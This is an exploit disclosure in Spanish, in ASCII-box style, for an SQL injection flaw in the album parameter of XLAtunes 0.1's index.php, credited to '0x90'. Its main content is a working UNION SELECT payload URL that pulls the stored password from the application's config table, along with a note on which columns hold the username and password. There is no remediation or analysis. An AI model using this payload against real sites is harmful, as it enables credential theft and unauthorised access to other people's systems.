/#########################################################################################\ # # # Vulnerabilidad en XLAtunes 0.1 (album) SQL Injection # # # ########################################################################################### # # # File corrupt: index.php # # # ########################################################################################### # # # Founder: 0x90 - Guns@0x90.com.ar - WwW.0x90.CoM.Ar # # # ########################################################################################### # # # Exploit: # # # # confkey->Password # # confvalue->Username # # # # http://host.com/path/?mode=view&album=-1%20UNION%20SELECT%20confkey%20FROM%20config/* # # # \#########################################################################################/